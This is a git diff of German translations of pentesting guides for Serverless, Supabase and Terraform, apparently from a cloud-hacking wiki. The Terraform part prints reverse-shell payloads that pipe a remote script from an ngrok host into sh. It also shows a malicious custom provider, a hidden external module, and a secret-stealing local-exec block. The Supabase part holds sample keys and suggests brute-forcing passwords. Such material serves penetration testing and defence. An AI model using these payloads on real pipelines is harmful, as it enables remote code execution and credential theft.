+> Der empfohlene Weg, Umgebungsvariablen mit serveless.com zu speichern, wäre, **sie in einem AWS-Geheimnis zu speichern** und nur den geheimen Namen in der Umgebungsvariable zu speichern, und der **Lambda-Code sollte es abrufen**.
#### **Minderungsstrategien**
-- **Secrets Manager-Integration:** Verwenden Sie Dienste wie **AWS Secrets Manager.**
+- **Secrets Manager Integration:** Verwenden Sie Dienste wie **AWS Secrets Manager.**
- **Verschlüsselte Variablen:** Nutzen Sie die Verschlüsselungsfunktionen des Serverless Frameworks für sensible Daten.
- **Zugriffskontrollen:** Beschränken Sie den Zugriff auf Geheimnisse basierend auf Rollen.
@@ -583,7 +583,7 @@ Veraltete oder unsichere Abhängigkeiten können Schwachstellen einführen, wäh
#### **Minderungsstrategien**
-- **Abhängigkeitsmanagement:** Aktualisieren Sie regelmäßig Abhängigkeiten und scannen Sie auf Schwachstellen.
+- **Abhängigkeitsmanagement:** Aktualisieren Sie regelmäßig Abhängigkeiten und scannen Sie nach Schwachstellen.
```yaml
plugins:
@@ -592,7 +592,7 @@ plugins:
```
- **Eingangsvalidierung:** Implementieren Sie strenge Validierung und Sanitärung aller Eingaben.
-- **Code-Überprüfungen:** Führen Sie gründliche Überprüfungen durch, um Sicherheitsanfälligkeiten zu identifizieren.
+- **Code-Überprüfungen:** Führen Sie gründliche Überprüfungen durch, um Sicherheitsfehler zu identifizieren.
- **Statische Analyse:** Verwenden Sie Tools, um Schwachstellen im Code zu erkennen.
---
@@ -610,8 +610,8 @@ plugins:
- serverless-plugin-datadog
```
-- **Detailliertes Logging aktivieren:** Erfassen Sie wesentliche Informationen, ohne sensible Daten offenzulegen.
-- **Alarme einrichten:** Konfigurieren Sie Alarme für verdächtige Aktivitäten oder Anomalien.
+- **Aktivieren Sie detailliertes Logging:** Erfassen Sie wesentliche Informationen, ohne sensible Daten offenzulegen.
+- **Einrichten von Warnungen:** Konfigurieren Sie Warnungen für verdächtige Aktivitäten oder Anomalien.
- **Regelmäßige Überwachung:** Überwachen Sie kontinuierlich Protokolle und Metriken auf potenzielle Sicherheitsvorfälle.
---
@@ -672,7 +672,7 @@ Geteilte Ressourcen und unzureichende Isolation können zu Privilegieneskalation
#### **Minderungsstrategien**
- **Funktionen isolieren:** Weisen Sie unterschiedliche Ressourcen und IAM-Rollen zu, um einen unabhängigen Betrieb sicherzustellen.
-- **Ressourcenpartitionierung:** Verwenden Sie separate Datenbanken oder Speicherorte für verschiedene Funktionen.
+- **Ressourcenteilung:** Verwenden Sie separate Datenbanken oder Speicherorte für verschiedene Funktionen.
- **Verwenden Sie VPCs:** Stellen Sie Funktionen innerhalb von Virtual Private Clouds für verbesserte Netzisolierung bereit.
```yaml
@@ -708,7 +708,7 @@ SSEEnabled: true
- **Daten während der Übertragung verschlüsseln:** Verwenden Sie HTTPS/TLS für alle Datenübertragungen.
- **Sichere API-Kommunikation:** Erzwingen Sie Verschlüsselungsprotokolle und validieren Sie Zertifikate.
-- **Verschlüsselungsschlüssel sicher verwalten:** Verwenden Sie verwaltete Schlüsseldienste und rotieren Sie Schlüssel regelmäßig.
+- **Verwalten Sie Verschlüsselungsschlüssel sicher:** Verwenden Sie verwaltete Schlüsseldienste und rotieren Sie Schlüssel regelmäßig.
---
@@ -736,11 +736,11 @@ body: JSON.stringify({ message: 'Interner Serverfehler' }),
```
- **Zentralisierte Fehlerbehandlung:** Verwalten und sanitieren Sie Fehler konsistent über alle Funktionen hinweg.
-- **Fehler überwachen und protokollieren:** Verfolgen und analysieren Sie Fehler intern, ohne Details an Endbenutzer offenzulegen.
+- **Überwachen und Protokollieren von Fehlern:** Verfolgen und analysieren Sie Fehler intern, ohne Details für Endbenutzer offenzulegen.
---
-### **Unsichere Bereitstellungsmethoden**
+### **Unsichere Bereitstellung Praktiken**
Offengelegte Bereitstellungskonfigurationen oder unbefugter Zugriff auf CI/CD-Pipelines können zu böswilligen Codebereitstellungen oder Fehlkonfigurationen führen.
@@ -748,8 +748,8 @@ Offengelegte Bereitstellungskonfigurationen oder unbefugter Zugriff auf CI/CD-Pi
- **Sichere CI/CD-Pipelines:** Implementieren Sie strenge Zugriffskontrollen, Multi-Faktor-Authentifizierung (MFA) und regelmäßige Audits.
- **Konfiguration sicher speichern:** Halten Sie Bereitstellungsdateien frei von hardcodierten Geheimnissen und sensiblen Daten.
-- **Verwenden Sie Sicherheitswerkzeuge für Infrastructure as Code (IaC):** Setzen Sie Tools wie **Checkov** oder **Terraform Sentinel** ein, um Sicherheitsrichtlinien durchzusetzen.
-- **Unveränderliche Bereitstellungen:** Verhindern Sie unbefugte Änderungen nach der Bereitstellung, indem Sie Praktiken der unveränderlichen Infrastruktur übernehmen.
+- **Verwenden Sie Sicherheitswerkzeuge für Infrastruktur als Code (IaC):** Verwenden Sie Tools wie **Checkov** oder **Terraform Sentinel**, um Sicherheitsrichtlinien durchzusetzen.
+- **Unveränderliche Bereitstellungen:** Verhindern Sie unbefugte Änderungen nach der Bereitstellung, indem Sie Praktiken für unveränderliche Infrastruktur übernehmen.
---
@@ -761,8 +761,8 @@ Die Verwendung von nicht geprüften oder bösartigen Drittanbieter-Plugins kann
- **Plugins gründlich prüfen:** Bewerten Sie die Sicherheit von Plugins vor der Integration und bevorzugen Sie solche aus seriösen Quellen.
- **Verwendung von Plugins einschränken:** Verwenden Sie nur notwendige Plugins, um die Angriffsfläche zu minimieren.
-- **Plugin-Updates überwachen:** Halten Sie Plugins auf dem neuesten Stand, um von Sicherheitsupdates zu profitieren.
-- **Plugin-Umgebungen isolieren:** Führen Sie Plugins in isolierten Umgebungen aus, um potenzielle Kompromisse einzudämmen.
+- **Überwachen Sie Plugin-Updates:** Halten Sie Plugins auf dem neuesten Stand, um von Sicherheitsupdates zu profitieren.
+- **Isolieren Sie Plugin-Umgebungen:** Führen Sie Plugins in isolierten Umgebungen aus, um potenzielle Kompromisse einzudämmen.
---
@@ -775,7 +775,7 @@ Die Verwendung von nicht geprüften oder bösartigen Drittanbieter-Plugins kann
- **Zugriff auf Funktionen einschränken:** Verwenden Sie VPCs, Sicherheitsgruppen und Firewall-Regeln, um den Zugriff auf vertrauenswürdige Quellen zu beschränken.
- **Robuste Authentifizierung implementieren:** Stellen Sie sicher, dass alle exponierten Endpunkte eine ordnungsgemäße Authentifizierung und Autorisierung erfordern.
- **API-Gateways sicher verwenden:** Konfigurieren Sie API-Gateways, um Sicherheitsrichtlinien durchzusetzen, einschließlich Eingangsvalidierung und Ratenbegrenzung.
-- **Nicht verwendete Endpunkte deaktivieren:** Überprüfen Sie regelmäßig und deaktivieren Sie alle Endpunkte, die nicht mehr verwendet werden.
+- **Deaktivieren Sie ungenutzte Endpunkte:** Überprüfen Sie regelmäßig und deaktivieren Sie alle Endpunkte, die nicht mehr verwendet werden.
---
@@ -794,14 +794,14 @@ Das Gewähren übermäßiger Berechtigungen an Teammitglieder und externe Mitarb
**Zugriffsschlüssel** und **Lizenzschlüssel** sind kritische Anmeldeinformationen, die zur Authentifizierung und Autorisierung von Interaktionen mit der Serverless Framework CLI verwendet werden.
- **Lizenzschlüssel:** Sie sind eindeutige Identifikatoren, die für die Authentifizierung des Zugriffs auf die Serverless Framework Version 4 erforderlich sind, die eine Anmeldung über die CLI ermöglicht.
-- **Zugriffsschlüssel:** Anmeldeinformationen, die es der Serverless Framework CLI ermöglichen, sich beim Serverless Framework Dashboard zu authentifizieren. Bei der Anmeldung mit der `serverless`-CLI wird ein Zugriffsschlüssel **generiert und auf dem Laptop gespeichert**. Sie können ihn auch als Umgebungsvariable mit dem Namen `SERVERLESS_ACCESS_KEY` festlegen.
+- **Zugriffsschlüssel:** Anmeldeinformationen, die es der Serverless Framework CLI ermöglichen, sich beim Serverless Framework Dashboard zu authentifizieren. Bei der Anmeldung mit `serverless` cli wird ein Zugriffsschlüssel **generiert und auf dem Laptop gespeichert**. Sie können ihn auch als Umgebungsvariable mit dem Namen `SERVERLESS_ACCESS_KEY` festlegen.
#### **Sicherheitsrisiken**
1. **Offenlegung durch Code-Repositories:**
- Hardcoding oder versehentliches Committen von Zugriffsschlüsseln und Lizenzschlüsseln in Versionskontrollsysteme kann zu unbefugtem Zugriff führen.
2. **Unsichere Speicherung:**
-- Das Speichern von Schlüsseln im Klartext innerhalb von Umgebungsvariablen oder Konfigurationsdateien ohne angemessene Verschlüsselung erhöht die Wahrscheinlichkeit einer Offenlegung.
+- Das Speichern von Schlüsseln im Klartext innerhalb von Umgebungsvariablen oder Konfigurationsdateien ohne angemessene Verschlüsselung erhöht die Wahrscheinlichkeit eines Lecks.
3. **Unsachgemäße Verteilung:**
- Das Teilen von Schlüsseln über unsichere Kanäle (z. B. E-Mail, Chat) kann zu einer Abfangung durch böswillige Akteure führen.
4. **Mangelnde Rotation:**
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 3bbd3e09b..baa45d79d 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -4,7 +4,7 @@
## Grundinformationen
-Laut ihrer [**Landing Page**](https://supabase.com/): Supabase ist eine Open-Source-Alternative zu Firebase. Starten Sie Ihr Projekt mit einer Postgres-Datenbank, Authentifizierung, sofortigen APIs, Edge-Funktionen, Echtzeit-Abonnements, Speicher und Vektor-Einbettungen.
+Laut ihrer [**Landing Page**](https://supabase.com/): Supabase ist eine Open-Source-Alternative zu Firebase. Starten Sie Ihr Projekt mit einer Postgres-Datenbank, Authentifizierung, sofortigen APIs, Edge-Funktionen, Echtzeit-Abonnements, Speicher und Vektor-Embeddings.
### Subdomain
@@ -18,7 +18,7 @@ Im Grunde erhält der Benutzer, wenn ein Projekt erstellt wird, eine supabase.co
Diese **Datenbank** wird in einer AWS-Region bereitgestellt, und um eine Verbindung herzustellen, wäre es möglich, sich zu verbinden: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dies wurde in us-west-1 erstellt).\
Das Passwort ist ein **Passwort, das der Benutzer zuvor eingegeben hat**.
-Daher, da die Subdomain bekannt ist und als Benutzername verwendet wird und die AWS-Regionen begrenzt sind, könnte es möglich sein, zu versuchen, das **Passwort zu brute-forcen**.
+Da die Subdomain bekannt ist und als Benutzername verwendet wird und die AWS-Regionen begrenzt sind, könnte es möglich sein, das **Passwort zu brute-forcen**.
Dieser Abschnitt enthält auch Optionen zum:
@@ -37,9 +37,9 @@ Die URL zum Zugriff auf die Supabase-API in Ihrem Projekt wird wie folgt aussehe
### anon API-Schlüssel
-Es wird auch einen **anon API-Schlüssel** (`role: "anon"`) generieren, wie: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, den die Anwendung verwenden muss, um den in unserem Beispiel exponierten API-Schlüssel zu kontaktieren.
+Es wird auch einen **anon API-Schlüssel** (`role: "anon"`) generieren, wie: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` den die Anwendung verwenden muss, um den in unserem Beispiel exponierten API-Schlüssel zu kontaktieren.
-Es ist möglich, die API REST zu finden, um diese API in den [**Docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) zu kontaktieren, aber die interessantesten Endpunkte wären:
+Es ist möglich, die REST-API zu finden, um diese API in den [**Docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) zu kontaktieren, aber die interessantesten Endpunkte wären:
@@ -99,7 +99,7 @@ Priority: u=1, i
```
-So, wann immer Sie einen Kunden entdecken, der Supabase mit der Subdomain verwendet, die ihm zugewiesen wurde (es ist möglich, dass eine Subdomain des Unternehmens ein CNAME über ihre Supabase-Subdomain hat), sollten Sie versuchen, **ein neues Konto auf der Plattform über die Supabase-API zu erstellen**.
+Wenn Sie also einen Kunden entdecken, der Supabase mit der Subdomain verwendet, die ihm zugewiesen wurde (es ist möglich, dass eine Subdomain des Unternehmens ein CNAME über ihre Supabase-Subdomain hat), sollten Sie versuchen, **ein neues Konto auf der Plattform über die Supabase-API zu erstellen**.
### secret / service_role API-Schlüssel
@@ -126,7 +126,7 @@ Das ist eine sehr schlechte Idee, da Supabase pro aktivem Benutzer Gebühren erh
### Passwörter & Sitzungen
Es ist möglich, die minimale Passwortlänge anzugeben (standardmäßig), Anforderungen (standardmäßig keine) und die Verwendung von geleakten Passwörtern zu untersagen.\
-Es wird empfohlen, die **Anforderungen zu verbessern, da die Standardanforderungen schwach sind**.
+Es wird empfohlen, die Anforderungen zu **verbessern, da die Standardanforderungen schwach sind**.
- Benutzersitzungen: Es ist möglich zu konfigurieren, wie Benutzersitzungen funktionieren (Timeouts, 1 Sitzung pro Benutzer...)
- Bot- und Missbrauchsschutz: Es ist möglich, Captcha zu aktivieren.
@@ -137,19 +137,19 @@ Es ist möglich, ein SMTP einzurichten, um E-Mails zu senden.
### Erweiterte Einstellungen
-- Ablaufzeit für Zugriffstoken festlegen (3600 standardmäßig)
-- Festlegen, um potenziell kompromittierte Aktualisierungstoken zu erkennen und zu widerrufen sowie Timeout
-- MFA: Angeben, wie viele MFA-Faktoren gleichzeitig pro Benutzer registriert werden können (10 standardmäßig)
-- Maximale direkte Datenbankverbindungen: Maximale Anzahl von Verbindungen, die zur Authentifizierung verwendet werden (10 standardmäßig)
-- Maximale Anforderungsdauer: Maximale Zeit, die für eine Auth-Anforderung zulässig ist (10s standardmäßig)
+- Ablaufzeit für Zugriffstoken festlegen (standardmäßig 3600)
+- Erkennen und Widerrufen potenziell kompromittierter Aktualisierungstoken und Timeout festlegen
+- MFA: Angeben, wie viele MFA-Faktoren gleichzeitig pro Benutzer registriert werden können (standardmäßig 10)
+- Maximale direkte Datenbankverbindungen: Maximale Anzahl von Verbindungen, die zur Authentifizierung verwendet werden (standardmäßig 10)
+- Maximale Anforderungsdauer: Maximale Zeit, die für eine Auth-Anforderung zulässig ist (standardmäßig 10s)
## Speicherung
> [!TIP]
-> Supabase ermöglicht **das Speichern von Dateien** und macht sie über eine URL zugänglich (es verwendet S3-Buckets).
+> Supabase ermöglicht **das Speichern von Dateien** und deren Zugriff über eine URL (es verwendet S3-Buckets).
-- Legen Sie das Upload-Dateigrößenlimit fest (Standard ist 50 MB)
-- Die S3-Verbindung wird mit einer URL wie folgt angegeben: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
+- Die Upload-Dateigrößenbeschränkung festlegen (standardmäßig 50 MB)
+- Die S3-Verbindung wird mit einer URL wie folgt bereitgestellt: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
- Es ist möglich, **S3-Zugriffsschlüssel** anzufordern, die aus einer `access key ID` (z. B. `a37d96544d82ba90057e0e06131d0a7b`) und einem `secret access key` (z. B. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) bestehen
## Edge-Funktionen
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index e3bd676b0..70d0048ed 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -6,7 +6,7 @@
[Aus den Dokumenten:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform ist ein **Infrastructure as Code-Tool**, mit dem Sie sowohl **Cloud- als auch On-Premise-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochstufige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.
+HashiCorp Terraform ist ein **Infrastructure as Code-Tool**, mit dem Sie sowohl **Cloud- als auch On-Prem-Ressourcen** in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochgradige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.
#### Wie funktioniert Terraform?
@@ -14,11 +14,11 @@ Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Di
.png>)
-HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Alle öffentlich verfügbaren Anbieter finden Sie im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.
+HashiCorp und die Terraform-Community haben bereits **mehr als 1700 Anbieter** geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Sie finden alle öffentlich verfügbaren Anbieter im [Terraform-Registry](https://registry.terraform.io/), einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.
-Der Kern-Workflow von Terraform besteht aus drei Phasen:
+Der grundlegende Terraform-Workflow besteht aus drei Phasen:
-- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen.
+- **Schreiben:** Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und -Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen.
- **Planen:** Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird.
- **Anwenden:** Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und respektiert dabei alle Ressourcenabhängigkeiten. Wenn Sie beispielsweise die Eigenschaften einer VPC aktualisieren und die Anzahl der virtuellen Maschinen in dieser VPC ändern, wird Terraform die VPC neu erstellen, bevor es die virtuellen Maschinen skalieren kann.
@@ -28,7 +28,7 @@ Der Kern-Workflow von Terraform besteht aus drei Phasen:
Installieren Sie einfach Terraform auf Ihrem Computer.
-Hier haben Sie eine [Anleitung](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie die [beste Möglichkeit, Terraform herunterzuladen](https://www.terraform.io/downloads).
+Hier haben Sie einen [Leitfaden](https://learn.hashicorp.com/tutorials/terraform/install-cli) und hier haben Sie die [beste Möglichkeit, Terraform herunterzuladen](https://www.terraform.io/downloads).
## RCE in Terraform
@@ -36,7 +36,7 @@ Terraform **hat keine Plattform, die eine Webseite oder einen Netzwerkdienst** b
Allerdings ist Terraform ein **sehr sensibler Bestandteil**, der kompromittiert werden kann, da es **privilegierten Zugriff** auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert.
-Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da diese irgendwann **interpretiert** werden.
+Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, **das Repository zu kompromittieren, das Terraform-Konfigurationen speichert**, da sie irgendwann **interpretiert** werden.
Tatsächlich gibt es Lösungen, die **Terraform-Plan/Apply automatisch ausführen, nachdem ein PR** erstellt wurde, wie **Atlantis**:
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
```
**Verwendung eines benutzerdefinierten Anbieters**
-Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Register](https://registry.terraform.io/) senden und ihn dann im Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Registry](https://registry.terraform.io/) senden und ihn dann zum Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -75,28 +75,28 @@ version = "1.0"
provider "evil" {}
```
-Der Provider wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird.
+Der Anbieter wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird.
-Ein Beispiel finden Sie unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
+Sie finden ein Beispiel unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
**Verwendung eines externen Verweises**
Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine **stealthier Weise** durchführen, indem Sie diese Vorschläge befolgen:
-- Anstatt die rev shell direkt in die Terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
+- Anstatt die rev shell direkt in die terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-Du kannst den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.
+Sie können den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.
-- Verwende im externen Ressourcen die **ref**-Funktion, um den **terraform rev shell code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- Verwenden Sie in der externen Ressource die **ref**-Funktion, um den **Terraform rev shell Code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
-Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Du kannst es auch missbrauchen, um RCE zu erhalten, indem du **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizierst.**\
-Du musst nur sicherstellen, dass eine Payload wie die folgenden im `main.tf`-Datei endet:
+Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Sie können es auch missbrauchen, um RCE zu erhalten, indem Sie **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizieren.**\
+Sie müssen nur sicherstellen, dass eine Nutzlast wie die folgenden im `main.tf`-Datei endet:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
-Folgen Sie den **Vorschlägen aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen.
+Befolgen Sie die **Vorschläge aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen.
## Secrets Dumps
@@ -126,7 +126,7 @@ value = nonsensitive(var.do_token)
Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, bietet [**diese Forschung**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) einige interessante Optionen, um die Datei auszunutzen:
-### Ressourcen löschen
+### Löschen von Ressourcen
Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:
@@ -167,9 +167,9 @@ Es ist auch möglich, einen [benutzerdefinierten Anbieter](https://developer.has
]
},
```
-### Ersetzen des auf der Blacklist stehenden Providers
+### Ersetzen des auf der Blacklist stehenden Anbieters
-Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external` Provider wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des External Providers, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen.
+Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external` Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen.
```terraform
terraform {
required_providers {
@@ -217,7 +217,7 @@ checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
-Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um die negative Testfähigkeit für Ihre Infrastruktur-as-Code zu ermöglichen.
+Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um negative Testfähigkeiten für Ihre Infrastruktur-as-Code zu ermöglichen.
- **compliance:** Stellen Sie sicher, dass der implementierte Code den Sicherheitsstandards und Ihren eigenen benutzerdefinierten Standards entspricht.
- **behaviour driven development:** Wir haben BDD für fast alles, warum nicht für IaC?
@@ -227,34 +227,20 @@ Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-comp
- **segregation of duty:** Sie können Ihre Tests in einem anderen Repository aufbewahren, für das ein separates Team verantwortlich ist.
> [!NOTE]
-> Leider, wenn der Code einige Anbieter verwendet, auf die Sie keinen Zugriff haben, können Sie den `terraform plan` nicht ausführen und dieses Tool nicht verwenden.
+> Leider können Sie, wenn der Code einige Anbieter verwendet, auf die Sie keinen Zugriff haben, den `terraform plan` nicht ausführen und dieses Tool nicht verwenden.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
-### [tfsec](https://github.com/aquasecurity/tfsec)
-
-Von den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen.
-
-- ☁️ Überprüft Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern
-- ⛔ Hunderte von integrierten Regeln
-- 🪆 Scannt Module (lokal und remote)
-- ➕ Bewertet HCL-Ausdrücke sowie literale Werte
-- ↪️ Bewertet Terraform-Funktionen z.B. `concat()`
-- 🔗 Bewertet Beziehungen zwischen Terraform-Ressourcen
-- 🧰 Kompatibel mit dem Terraform CDK
-- 🙅 Wendet (und verfeinert) benutzerdefinierte Rego-Richtlinien an
-- 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Konfigurierbar (über CLI-Flags und/oder Konfigurationsdatei)
-- ⚡ Sehr schnell, in der Lage, riesige Repositories schnell zu scannen
+### [tfsec
```bash
brew install tfsec
tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
-Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Infrastrukturfehlkonfigurationen früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit **KICS** von Checkmarx.
+Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Fehlkonfigurationen der Infrastruktur früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit **KICS** von Checkmarx.
**KICS** steht für **K**eeping **I**nfrastructure as **C**ode **S**ecure, es ist Open Source und ein Muss für jedes cloud-native Projekt.
```bash
@@ -265,7 +251,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Aus den [**docs**](https://github.com/tenable/terrascan): Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht es Ihnen:
- Nahtlos Infrastruktur als Code auf Fehlkonfigurationen zu scannen.
-- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die eine Abweichung der Sicherheitslage einführen, und ermöglicht das Zurückkehren zu einer sicheren Sicherheitslage.
+- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die eine Abweichung der Sicherheitslage einführen, und ermöglicht das Zurückkehren zu einer sicheren Lage.
- Sicherheitsanfälligkeiten und Compliance-Verstöße zu erkennen.
- Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird.
- Bietet Flexibilität, lokal zu laufen oder in Ihre CI\CD zu integrieren.
